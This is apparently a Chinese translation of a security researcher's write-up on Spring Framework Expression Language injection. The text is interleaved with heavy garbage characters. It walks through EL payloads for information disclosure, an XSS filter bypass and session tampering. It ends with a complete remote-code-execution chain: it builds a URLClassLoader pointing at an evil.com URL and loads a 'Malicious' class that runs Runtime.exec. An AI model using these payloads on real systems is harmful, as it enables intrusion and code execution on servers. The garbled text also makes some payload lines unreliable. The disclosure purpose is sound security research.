Remote Code with
8 V2 a6 X+ l5 t4 Y: @9 aExpression Language Injection; e* _( H, b# t/ P
Spring Framework脆弱性—DanAmodio' @1 v: ~* f! Y+ H& T
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
) G% N8 @. u2 ^( u2 T, l, D可能会存在风险。8 j: C0 o7 Y- o6 Y0 O; F
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的6 T4 V! k5 U& c0 y
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可 ]* X3 r& _. {* `3 G! e6 W" u
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,. {) \7 m! ^# l3 {& a. H
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
/ T/ e7 A& ] }+ E; J' p7 M! g版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
4 N K/ d" D/ _8 i' F4 J由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但6 g' N; X$ N, r
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版( i3 ^3 e- l( m ^( Z
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。/ a9 W4 E! h- n' j
这些版本不支持禁用double EL resolution.
: C# B( E8 U( h8 l9 M0 @% H- j这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
! V0 S9 W& E1 |1 b7 l" ]0 |5 l- L2 dEL2.2容器上可能进行远程代码执行。4 G$ K7 P+ _7 v" T/ r9 ]
这是一个原始信息泄露的攻击例子:
& Q H: o7 z) u P0 r请求:
2 p: t% f/ j* E g& C" ^ttp://vulnerable.com/foo?message=${applicationScope}( ]$ O) l2 J B- v/ f+ K! {
到达以下内容页面:
7 T& m, V# F+ _7 q% [6 x结果将输出一些包含内部服务器信息calsspath 和本地工作目录
" Q' L8 Z! X. _; y* w4 _你也可以做一些其他事情,如这样:
% }1 g( k; c7 E+ r" ]$ N7 L${9999+1}7 }* L# J$ a8 m$ K1 t1 i$ q
还可以访问session 对象和beans
- ] o. l$ n7 Q. C7 J6 }. J0 r3 @+ W${employee.lastName}# v2 R: j8 c2 r; X4 }/ b
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是+ N& M0 O* B/ R$ u: Y
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东& I/ N# e3 D1 L) \% g
西,比如XSS.9 Q- j" e6 Y$ \9 d
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签, s6 V; ?- F$ m. C# M! N4 `/ m
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
( u; n) f2 @; h: @/ D* R呢?”: e# Y( Q( Z% x$ c
因此,我尝试巳缦拢�
0 W( v% [2 |+ dhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP& X: T7 S& E7 g
P( c5 J# n7 \5 _
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
2 [; ~, h+ \9 n! S回的文本被插入进了spring:message 标签。
) ]3 l5 [5 q; `4 r3 N: y. W. V这里是一个最终绕过过滤的实例:5 r0 j7 A; s/ B
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
' Z. T% l- v+ N$ r1 L9 L6 h它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
4 @; M1 B6 G, x) C+ \/ w/ W0 E什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
2 I+ E- ~) I; r: ]' r经过一番研究,我学习到EL2.2 增加了方法调用。
1 M) q8 J& y: V& g* Y/ t, o2 T* L$ O我写了一个快速测试应用程序代码并且检测一些功能
' D+ q3 o o7 N% ~6 a* a' `${pageContext.request.getSession().setAttribute(“account”,”123456″)}8 i" s* s/ {* I! r
${pageContext.request.getSession().setAttribute(“admin”,true)}
! H) \8 s& O6 b7 J: C/ W好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的( R i8 t& U$ T, L. E% K+ s
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
4 A; u/ t- Y; }${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
3 f5 G! B* a% P“, 1234)}
+ F6 O- p/ F/ ~$ W0 Y- f2 r${“”.getClass().forName(“java.lang.Runtime”)}
( {/ r6 I% N" w; y哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不2 D3 l) z3 n4 t. N( s! f s
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函 D: Z5 W( S8 X w3 A5 {
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
1 {) J8 u3 x# o0 q' Z5 J一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于, y1 B0 U, A! P9 \
方法签名invoke(Object obj, Object„ args)
2 `1 [! [( J9 l/ [Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问- D7 r7 b, u3 ]
题,以让它可以工作起来。; U0 b0 B& f2 p# F3 u- P7 E# ~
漏洞利用:4 C! h$ d! W1 {1 F+ d: z( s: }2 a
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我2 T8 a: z+ R, ]6 T6 G5 n t
希望你们中的一些JAVA奇才告诉我我是如此的可笑。1 a1 `! s% l* M1 b- V8 Z* T
这里有一些我试过的失败的用例,为了试图让它工作的用例:7 v- B) D P& ^2 r# G
写文件到文件系统
4 P2 ?: u4 |/ T: \1 o J( D 试图载入org.springframework.expression.spel.standard.SpelExpressionParser." h6 V- z7 O" d
我认为这些可以很好的工作,但是我不能找到合适的类来载入。6 S8 ~ a6 F$ K& `3 m+ _8 O. K
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
' u, [3 x7 q! o. u D3 Djavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:/ k/ w4 c9 G* A" q( Z. q
org.springframework.expression.spel.standard.SpelExpressionParser not found" G3 j8 H1 E- h, F: W$ P
by
/ l* T5 z6 Y) Jorg.glassfish.web.javax.servlet.jsp [194].
1 z5 p; o, a7 W6 D 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public8 J" [3 k; b h8 X. c5 R
利用反射来创建一个新的Runtime(and watch the world burn)
6 E& G$ k) e4 y: q K/ u# \${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
$ B( t+ T+ P& N(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
. O* ]. _* f& J, c5 j${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}( f1 t, U' t! ~; g
使用java.lang.ProcessBuilder/ P( `! ]! M$ R' y6 D
用表达式语言来评估表达式语言) \; [5 o+ b: a! Q- K$ h6 {
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
" ?9 C0 j2 A" \) p( Q8 Z9 g${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request5 P- v+ q5 {( X% z& c2 _
“,”".getClass(),null)}, g1 x, Q! ?+ }. {) H, {
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
. d4 L7 y+ h! |" b! s我在使用一个空数组通过Method.invoke()时失败了很多次
3 Y( ^8 @. N4 N“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
- S+ ^$ G4 a, q, q. X" z! @.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
/ J. ^" ^* w, OrrayList”).newInstance().toArray())" e) `, t4 Q, {
java.lang.IllegalArgumentException: wrong number of arguments" D/ t1 }2 p: u
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
7 ]" R$ f4 U) ~- x以创建一个恶意class文件并且指向类装载器.
& `3 X0 i" R1 X# ^2 M: ^" j我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:6 J- s, L0 n! @
public class Malicious {
# l8 l3 v2 M$ X8 ?' E0 O( opublic Malicious() {
. m' G) j* W! F, I. w, Dtry {
# E3 b7 q0 a1 j# v1 _ k# Ijava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
" j+ i, N V( cjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win3 P9 ?. e1 U8 Z/ f# w2 `: G! l1 a
} catch (Exception e) {7 R0 \& @. D0 l7 W4 J2 D% a& m
}; t% B4 G; ^/ g5 M9 _, P
}% h1 Z B8 W4 u: i, b" ~
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回- ]( [, g. F3 E w& G7 j
话中,因此它可以被使用.
5 ~4 P2 U0 [* v& w% X${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
0 D/ h! T( T1 i4 z$ _(“java.util.ArrayList”).newInstance())}7 p- F$ f$ p1 G& R1 h3 m0 Q- j! \
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
8 p. b" q- \+ W8 o8 [一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
7 f- ]* A+ N0 v' y8 C. ^" ^getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
# Z( I; {' O0 ^9 C; n我们可以调用的create(string)方法,然后转换对一个URL对象。
# z' W- i' q4 a: ?. s${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh( Y& s; e" t) W+ b7 |6 W
ere/malicious/classfile/is/located/”).toURL())}
$ ^9 j* O, n4 N U! Z2 U然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,! q4 d. H5 @0 H4 y e0 |! ?9 _
恶意类文件被装载并创建,触发远程代码.
+ R' m0 e& O( z4 p${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
) a0 B8 G* M kxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
1 e: h; n8 ~4 l& y+ igetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
6 v: F$ _9 U o3 S6 x8 y()} |